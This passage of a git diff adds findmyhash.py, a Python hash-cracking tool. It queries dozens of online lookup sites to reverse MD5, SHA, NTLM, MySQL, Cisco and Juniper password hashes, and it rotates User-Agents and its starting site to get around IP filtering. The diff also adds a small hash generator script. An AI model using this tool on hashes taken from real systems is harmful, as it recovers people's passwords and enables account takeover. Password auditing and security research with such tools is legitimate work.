+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+class SHA256_LOOKUP:
+	
+	name = 		"sha256-lookup"
+	url = 		"http://sha-256.sha1-lookup.com"
+	supported_algorithm = [SHA256]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://sha-256.sha1-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+
+class RIPEMD160_LOOKUP:
+	
+	name = 		"ripemd-lookup"
+	url = 		"http://www.ripemd-lookup.com"
+	supported_algorithm = [RIPEMD]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.ripemd-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+
+class MD5_COM_CN:
+	
+	name = 		"md5.com.cn"
+	url = 		"http://md5.com.cn"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.com.cn/md5reverse"
+		
+		# Build the parameters
+		params = { "md" : hashvalue,
+			   "submit" : "MD5 Crack" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<b style="color:red;">[^<]*</b><br/><span', html)
+		
+		if match:
+			return match.group().split('>')[1][:-3]
+		else:
+			return None
+
+
+
+
+
+class DIGITALSUN:
+	
+	name = 		"digitalsun.pl"
+	url = 		"http://md5.digitalsun.pl"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.digitalsun.pl/"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<b>[^<]*</b> == [^<]*<br>\s*<br>', html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+		else:
+			return None
+
+
+
+class DRASEN:
+	
+	name = 		"drasen.net"
+	url = 		"http://md5.drasen.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.drasen.net/search.php?query=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'Hash: [^<]*<br />Plain: [^<]*<br />', html)
+		
+		if match:
+			return match.group().split('<br />')[1][7:]
+		else:
+			return None
+
+
+
+
+class MYINFOSEC:
+	
+	name = 		"myinfosec"
+	url = 		"http://md5.myinfosec.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.myinfosec.net/md5.php"
+		
+		# Build the parameters
+		params = { "md5hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<center></center>[^<]*<font color=green>[^<]*</font><br></center>', html)
+		
+		if match:
+			return match.group().split('>')[3][:-6]
+		else:
+			return None
+
+
+
+class MD5_NET:
+	
+	name = 		"md5.net"
+	url = 		"http://md5.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.md5.net/cracker.php"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<input type="text" id="hash" size="32" value="[^"]*"/>', html)
+		
+		if match:
+			return match.group().split('"')[7]
+		else:
+			return None
+
+
+
+
+class NOISETTE:
+	
+	name = 		"noisette.ch"
+	url = 		"http://md5.noisette.ch"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.noisette.ch/index.php"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<p>String to hash : <input name="text" value="[^"]+"/>', html)
+		
+		if match:
+			return match.group().split('"')[3]
+		else:
+			return None
+
+
+
+
+class MD5HOOD:
+	
+	name = 		"md5hood"
+	url = 		"http://md5hood.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5hood.com/index.php/cracker/crack"
+		
+		# Build the parameters
+		params = { "md5" : hashvalue,
+			   "submit" : "Go" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<div class="result_true">[^<]*</div>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-5]
+		else:
+			return None
+
+
+
+class STRINGFUNCTION:
+	
+	name = 		"stringfunction"
+	url = 		"http://www.stringfunction.com"
+	supported_algorithm = [MD5, SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = ""
+		if alg == MD5:
+			url = "http://www.stringfunction.com/md5-decrypter.html"
+		else:
+			url = "http://www.stringfunction.com/sha1-decrypter.html"
+		
+		# Build the parameters
+		params = { "string" : hashvalue,
+			   "submit" : "Decrypt",
+			   "result" : "" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<textarea class="textarea-input-tool-b" rows="10" cols="50" name="result"[^>]*>[^<]+</textarea>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-10]
+		else:
+			return None
+
+
+
+
+
+class XANADREL:
+	
+	name = 		"99k.org"
+	url = 		"http://xanadrel.99k.org"
+	supported_algorithm = [MD4, MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://xanadrel.99k.org/hashes/index.php?k=search"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue,
+			   "search" : "ok" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<p>Hash : [^<]*<br />Type : [^<]*<br />Plain : "[^"]*"<br />', html)
+		
+		if match:
+			return match.group().split('"')[1]
+		else:
+			return None
+
+
+
+
+class SANS:
+	
+	name = 		"sans"
+	url = 		"http://isc.sans.edu"
+	supported_algorithm = [MD5, SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://isc.sans.edu/tools/reversehash.html"
+		
+		# Build the Headers with a random User-Agent
+		headers = { "User-Agent" : USER_AGENTS[randint(0, len(USER_AGENTS))-1] }
+		
+		# Build the parameters
+		response = do_HTTP_request ( url, httpheaders=headers )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<input type="hidden" name="token" value="[^"]*" />', html)
+		token = ""
+		if match:
+			token = match.group().split('"')[5]
+		else:
+			return None
+		
+		params = { "token" : token,
+			   "text" : hashvalue,
+			   "word" : "",
+			   "submit" : "Submit" }
+		
+		# Build the Headers with the Referer header
+		headers["Referer"] = "http://isc.sans.edu/tools/reversehash.html"
+		
+		# Make the request
+		response = do_HTTP_request ( url, params, headers )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'... hash [^\s]* = [^\s]*\s*</p><br />', html)
+		
+		if match:
+			print "hola mundo"
+			return match.group().split('=')[1][:-10].strip()
+		else:
+			return None
+
+
+
+class BOKEHMAN:
+	
+	name = 		"bokehman"
+	url = 		"http://bokehman.com"
+	supported_algorithm = [MD4, MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://bokehman.com/cracker/"
+		
+		# Build the parameters from the main page
+		response = do_HTTP_request ( url )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<input type="hidden" name="PHPSESSID" id="PHPSESSID" value="[^"]*" />', html)
+		phpsessnid = ""
+		if match:
+			phpsessnid = match.group().split('"')[7]
+		else:
+			return None
+		match = search (r'<input type="hidden" name="key" id="key" value="[^"]*" />', html)
+		key = ""
+		if match:
+			key = match.group().split('"')[7]
+		else:
+			return None
+		
+		params = { "md5" : hashvalue,
+			   "PHPSESSID" : phpsessnid,
+			   "key" : key,
+			   "crack" : "Try to crack it" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<tr><td>[^<]*</td><td>[^<]*</td><td>[^s]*seconds</td></tr>', html)
+		
+		if match:
+			return match.group().split('td>')[1][:-2]
+		else:
+			return None
+
+
+
+class GOOG_LI:
+
+	name = 		"goog.li"
+	url = 		"http://goog.li"
+	supported_algorithm = [MD5, MYSQL, SHA1, SHA224, SHA384, SHA256, SHA512, RIPEMD, NTLM, GOST, WHIRLPOOL, LDAP_MD5, LDAP_SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+			
+		hash2 = None
+		if alg in [NTLM] and ':' in hashvalue:
+			hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		# Confirm the initial '*' character
+		if alg == MYSQL and hash2[0] != '*':
+			hash2 = '*' + hash2
+		
+		# Build the URL
+		url = "http://goog.li/?q=%s" % (hash2)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<br />cleartext[^:]*: [^<]*<br />', html)
+		
+		if match:
+			return match.group().split(':')[1].strip()[:-6]
+		else:
+			return None
+
+
+
+class WHREPORITORY:
+
+	name = 		"Windows Hashes Repository"
+	url = 		"http://nediam.com.mx"
+	supported_algorithm = [LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+			
+		hash2 = None
+		if ':' in hashvalue:
+			if alg == LM:
+				hash2 = hashvalue.split(':')[0]
+			else:
+				hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		# Build the URL, parameters and headers
+		url = ""
+		params = None
+		headers = None
+		if alg == LM:
+			url = "http://nediam.com.mx/winhashes/search_lm_hash.php"
+			params = { "lm" : hash2,
+				"btn_go" : "Search" }
+			headers = { "Referer" : "http://nediam.com.mx/winhashes/search_lm_hash.php" }
+		else:
+			url = "http://nediam.com.mx/winhashes/search_nt_hash.php"
+			params = { "nt" : hash2,
+				"btn_go" : "Search" }
+			headers = { "Referer" : "http://nediam.com.mx/winhashes/search_nt_hash.php" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params, headers )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<tr><td align="right">PASSWORD</td><td>[^<]*</td></tr>', html)
+		
+		if match:
+			return match.group().split(':')[1]
+		else:
+			return None
+
+
+
+CRAKERS = [ 	SCHWETT,
+		NETMD5CRACK,
+		MD5_CRACKER,
+		BENRAMSEY,
+		GROMWEB,
+		HASHCRACKING,
+		VICTOROV,
+		THEKAINE,
+		TMTO,
+		REDNOIZE,
+		MD5_DB,
+		MY_ADDR,
+		MD5PASS,
+		MD5DECRYPTION,
+		MD5CRACK,
+		MD5ONLINE,
+		MD5_DECRYPTER,
+		AUTHSECUMD5,
+		HASHCRACK,
+		OPHCRACK,
+		C0LLISION,
+		CMD5,
+		AUTHSECUCISCO7,
+		CACIN,
+		IBEAST,
+		PASSWORD_DECRYPT,
+		BIGTRAPEZE,
+		HASHCHECKER,
+		MD5HASHCRACKER,
+		PASSCRACKING,
+		ASKCHECK,
+		FOX21,
+		NICENAMECREW,
+		JOOMLAAA,
+		MD5_LOOKUP,
+		SHA1_LOOKUP,
+		SHA256_LOOKUP,
+		RIPEMD160_LOOKUP,
+		MD5_COM_CN,
+		DIGITALSUN,
+		DRASEN,
+		MYINFOSEC,
+		MD5_NET,
+		NOISETTE,
+		MD5HOOD,
+		STRINGFUNCTION,
+		XANADREL,
+		SANS,
+		BOKEHMAN,
+		GOOG_LI,
+		WHREPORITORY ]
+
+
+
+########################################################################################################
+### GENERAL METHODS
+########################################################################################################
+
+def configureCookieProcessor (cookiefile='/tmp/searchmyhash.cookie'):
+	'''Set a Cookie Handler to accept cookies from the different Web sites.
+	
+	@param cookiefile Path of the cookie store.'''
+	
+	cookieHandler = LWPCookieJar()
+	if cookieHandler is not None:
+		if path.isfile (cookiefile):
+			cookieHandler.load (cookiefile)
+			
+		opener = urllib2.build_opener ( urllib2.HTTPCookieProcessor(cookieHandler) )
+		urllib2.install_opener (opener)
+
+
+
+def do_HTTP_request (url, params={}, httpheaders={}):
+	'''
+	Send a GET or POST HTTP Request.
+	@return: HTTP Response
+	'''
+
+	data = {}
+	request = None
+	
+	# If there is parameters, they are been encoded
+	if params:
+		data = urlencode(params)
+
+		request = urllib2.Request ( url, data, headers=httpheaders )
+	else:
+		request = urllib2.Request ( url, headers=httpheaders )
+		
+	# Send the request
+	try:
+		response = urllib2.urlopen (request)
+	except:
+		return ""
+	
+	return response
+
+
+def printSyntax ():
+	"""Print application syntax."""
+	
+	print """%s 1.1.2 ( http://code.google.com/p/findmyhash/ )
+
+Usage: 
+------
+
+  python %s <algorithm> OPTIONS
+
+
+Accepted algorithms are:
+------------------------
+
+  MD4       - RFC 1320
+  MD5       - RFC 1321
+  SHA1      - RFC 3174 (FIPS 180-3)
+  SHA224    - RFC 3874 (FIPS 180-3)
+  SHA256    - FIPS 180-3
+  SHA384    - FIPS 180-3
+  SHA512    - FIPS 180-3
+  RMD160    - RFC 2857
+  GOST      - RFC 5831
+  WHIRLPOOL - ISO/IEC 10118-3:2004
+  LM        - Microsoft Windows hash
+  NTLM      - Microsoft Windows hash
+  MYSQL     - MySQL 3, 4, 5 hash
+  CISCO7    - Cisco IOS type 7 encrypted passwords
+  JUNIPER   - Juniper Networks $9$ encrypted passwords
+  LDAP_MD5  - MD5 Base64 encoded
+  LDAP_SHA1 - SHA1 Base64 encoded
+ 
+  NOTE: for LM / NTLM it is recommended to introduce both values with this format:
+         python %s LM   -h 9a5760252b7455deaad3b435b51404ee:0d7f1f2bdeac6e574d6e18ca85fb58a7
+         python %s NTLM -h 9a5760252b7455deaad3b435b51404ee:0d7f1f2bdeac6e574d6e18ca85fb58a7
+
+
+Valid OPTIONS are:
+------------------
+
+  -h <hash_value>  If you only want to crack one hash, specify its value with this option.
+
+  -f <file>        If you have several hashes, you can specify a file with one hash per line.
+                   NOTE: All of them have to be the same type.
+                   
+  -g               If your hash cannot be cracked, search it in Google and show all the results.
+                   NOTE: This option ONLY works with -h (one hash input) option.
+
+
+Examples:
+---------
+
+  -> Try to crack only one hash.
+     python %s MD5 -h 098f6bcd4621d373cade4e832627b4f6
+     
+  -> Try to crack a JUNIPER encrypted password escaping special characters.
+     python %s JUNIPER -h "\$9\$LbHX-wg4Z"
+  
+  -> If the hash cannot be cracked, it will be searched in Google.
+     python %s LDAP_SHA1 -h "{SHA}cRDtpNCeBiql5KOQsKVyrA0sAiA=" -g
+   
+  -> Try to crack multiple hashes using a file (one hash per line).
+     python %s MYSQL -f mysqlhashesfile.txt
+     
+     
+Contact:
+--------
+
+[Web]           http://laxmarcaellugar.blogspot.com/
+[Mail/Google+]  bloglaxmarcaellugar@gmail.com
+[twitter]       @laXmarcaellugar
+""" % ( (sys.argv[0],) * 8 )
+
+
+
+def crackHash (algorithm, hashvalue=None, hashfile=None):
+	"""Crack a hash or all the hashes of a file.
+	
+	@param alg Algorithm of the hash (MD5, SHA1...).
+	@param hashvalue Hash value to be cracked.
+	@param hashfile Path of the hash file.
+	@return If the hash has been cracked or not."""
+	
+	global CRAKERS
+	
+	# Cracked hashes will be stored here
+	crackedhashes = []
+	
+	# Is the hash cracked?
+	cracked = False
+	
+	# Only one of the two possible inputs can be setted.
+	if (not hashvalue and not hashfile) or (hashvalue and hashfile):
+		return False
+	
+	# hashestocrack depends on the input value
+	hashestocrack = None
+	if hashvalue:
+		hashestocrack = [ hashvalue ]
+	else:
+		try:
+			hashestocrack = open (hashfile, "r")
+		except:
+			print "\nIt is not possible to read input file (%s)\n" % (hashfile)
+			return cracked
+	
+	
+	# Try to crack all the hashes...
+	for activehash in hashestocrack:
+		hashresults = []
+		
+		# Standarize the hash
+		activehash = activehash.strip()
+		if algorithm not in [JUNIPER, LDAP_MD5, LDAP_SHA1]:
+			activehash = activehash.lower()
+		
+		# Initial message
+		print "\nCracking hash: %s\n" % (activehash)
+
+		# Each loop starts for a different start point to try to avoid IP filtered
+		begin = randint(0, len(CRAKERS)-1)
+		
+		for i in range(len(CRAKERS)):
+			
+			# Select the cracker
+			cr = CRAKERS[ (i+begin)%len(CRAKERS) ]()
+			
+			# Check if the cracker support the algorithm
+			if not cr.isSupported ( algorithm ):
+				continue
+			
+			# Analyze the hash
+			print "Analyzing with %s (%s)..." % (cr.name, cr.url)
+			
+			# Crack the hash
+			result = None
+			try:
+				result = cr.crack ( activehash, algorithm )
+			# If it was some trouble, exit
+			except:
+				print "\nSomething was wrong. Please, contact with us to report the bug:\n\nbloglaxmarcaellugar@gmail.com\n"
+				if hashfile:
+					try:
+						hashestocrack.close()
+					except:
+						pass
+				return False
+			
+			# If there is any result...
+			cracked = 0
+			if result:
+				
+				# If it is a hashlib supported algorithm...
+				if algorithm in [MD4, MD5, SHA1,  SHA224, SHA384, SHA256, SHA512, RIPEMD]:
+					# Hash value is calculated to compare with cracker result
+					h = hashlib.new (algorithm)
+					h.update (result)
+					
+					# If the calculated hash is the same to cracker result, the result is correct (finish!)
+					if h.hexdigest() == activehash:
+						hashresults.append (result)
+						cracked = 2
+				
+				# If it is a half-supported hashlib algorithm
+				elif algorithm in [LDAP_MD5, LDAP_SHA1]:
+					alg = algorithm.split('_')[1]
+					ahash =  decodestring ( activehash.split('}')[1] )
+					
+					# Hash value is calculated to compare with cracker result
+					h = hashlib.new (alg)
+					h.update (result)
+					
+					# If the calculated hash is the same to cracker result, the result is correct (finish!)
+					if h.digest() == ahash:
+						hashresults.append (result)
+						cracked = 2
+				
+				# If it is a NTLM hash
+				elif algorithm == NTLM or (algorithm == LM and ':' in activehash):
+					# NTLM Hash value is calculated to compare with cracker result
+					candidate = hashlib.new('md4', result.split()[-1].encode('utf-16le')).hexdigest()
+					
+					# It's a LM:NTLM combination or a single NTLM hash
+					if (':' in activehash and candidate == activehash.split(':')[1]) or (':' not in activehash and candidate == activehash):
+						hashresults.append (result)
+						cracked = 2
+				
+				# If it is another algorithm, we search in all the crackers
+				else:
+					hashresults.append (result)
+					cracked = 1
+			
+			# Had the hash cracked?
+			if cracked:
+				print "\n***** HASH CRACKED!! *****\nThe original string is: %s\n" % (result)
+				# If result was verified, break
+				if cracked == 2:
+					break
+			else:
+				print "... hash not found in %s\n" % (cr.name)
+		
+		
+		# Store the result/s for later...
+		if hashresults:
+			
+			# With some hash types, it is possible to have more than one result,
+			# Repited results are deleted and a single string is constructed.
+			resultlist = []
+			for r in hashresults:
+				#if r.split()[-1] not in resultlist:
+					#resultlist.append (r.split()[-1])
+				if r not in resultlist:
+					resultlist.append (r)
+					
+			finalresult = ""
+			if len(resultlist) > 1:
+				finalresult = ', '.join (resultlist)
+			else:
+				finalresult = resultlist[0]
+			
+			# Valid results are stored
+			crackedhashes.append ( (activehash, finalresult) )
+	
+	
+	# Loop is finished. File can need to be closed
+	if hashfile:
+		try:
+			hashestocrack.close ()
+		except:
+			pass
+		
+	# Show a resume of all the cracked hashes
+	print "\nThe following hashes were cracked:\n----------------------------------\n"
+	print crackedhashes and "\n".join ("%s -> %s" % (hashvalue, result.strip()) for hashvalue, result in crackedhashes) or "NO HASH WAS CRACKED."
+	print
+	
+	return cracked
+
+
+
+
+def searchHash (hashvalue):
+	'''Google the hash value looking for any result which could give some clue...
+	
+	@param hashvalue The hash is been looking for.'''
+	
+	start = 0
+	finished = False
+	results = []
+	
+	sys.stdout.write("\nThe hash wasn't found in any database. Maybe Google has any idea...\nLooking for results...")
+	sys.stdout.flush()
+	
+	while not finished:
+		
+		sys.stdout.write('.')
+		sys.stdout.flush()
+	
+		# Build the URL
+		url = "http://www.google.com/search?hl=en&q=%s&filter=0" % (hashvalue)
+		if start:
+			url += "&start=%d" % (start)
+			
+		# Build the Headers with a random User-Agent
+		headers = { "User-Agent" : USER_AGENTS[randint(0, len(USER_AGENTS))-1] }
+		
+		# Send the request
+		response = do_HTTP_request ( url, httpheaders=headers )
+		
+		# Extract the results ...
+		html = None
+		if response:
+			html = response.read()
+		else:
+			continue
+			
+		resultlist = findall (r'<a href="[^"]*?" class=l', html)
+		
+		# ... saving only new ones
+		new = False
+		for r in resultlist:
+			url_r = r.split('"')[1]
+			
+			if not url_r in results:
+				results.append (url_r)
+				new = True
+		
+		start += len(resultlist)
+		
+		# If there is no a new result, finish
+		if not new:
+			finished = True
+		
+	
+	# Show the results
+	if results:
+		print "\n\nGoogle has some results. Maybe you would like to check them manually:\n"
+		
+		results.sort()
+		for r in results:
+			print "  *> %s" % (r)
+		print
+	
+	else:
+		print "\n\nGoogle doesn't have any result. Sorry!\n"
+
+
+########################################################################################################
+### MAIN CODE
+########################################################################################################
+
+def main():
+	"""Main method."""
+
+
+	###################################################
+	# Syntax check
+	if len (sys.argv) < 4:
+		printSyntax()
+		sys.exit(1)
+	
+	else:
+		try:
+			opts, args = getopt.getopt (sys.argv[2:], "gh:f:")
+		except:
+			printSyntax()
+			sys.exit(1)
+	
+	
+	###################################################
+	# Load input parameters
+	algorithm = sys.argv[1].lower()
+	hashvalue = None
+	hashfile  = None
+	googlesearch = False
+	
+	for opt, arg in opts:
+		if opt == '-h':
+			hashvalue = arg
+		elif opt == '-f':
+			hashfile = arg
+		else:
+			googlesearch = True
+	
+	
+	###################################################
+	# Configure the Cookie Handler
+	configureCookieProcessor()
+	
+	# Initialize PRNG seed
+	seed()
+	
+	cracked = 0
+	
+	
+	###################################################
+	# Crack the hash/es
+	cracked = crackHash (algorithm, hashvalue, hashfile)
+	
+	
+	###################################################
+	# Look for the hash in Google if it was not cracked
+	if not cracked and googlesearch and not hashfile:
+		searchHash (hashvalue)
+	
+	
+	
+	# App is finished
+	sys.exit()
+
+
+
+if __name__ == "__main__":
+    main()
+
+
diff --git a/3rdparty/hashgen.py b/3rdparty/hashgen.py
new file mode 100644
index 0000000..3091adb
--- /dev/null
+++ b/3rdparty/hashgen.py
@@ -0,0 +1,35 @@
+#!/usr/bin/python
+#Playing around with the new hashlib, generates
+#6 different hashes. md5,sha1,sha224,sha256,sha384,sha512
+
+import sys 
+
+try: 
+	import hashlib
+except(ImportError):
+	print "\nYou need the hashlib module installed, try upgrading to python 2.5.\n" 	
+	sys.exit(1) 
+
+if len(sys.argv) != 2:
+	print "Usage: ./hashgen.py <password>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+
+hash = hashlib.md5(pw)
+print "\nMD5:",hash.hexdigest(),"\n"
+
+hash = hashlib.sha1(pw)
+print "SHA1:",hash.hexdigest(),"\n"
+
+hash = hashlib.sha224(pw)
+print "SHA224:",hash.hexdigest(),"\n"
+
+hash = hashlib.sha256(pw)
+print "SHA256:",hash.hexdigest(),"\n"
+
+hash = hashlib.sha384(pw)
+print "SHA384:",hash.hexdigest(),"\n"
+
+hash = hashlib.sha512(pw)
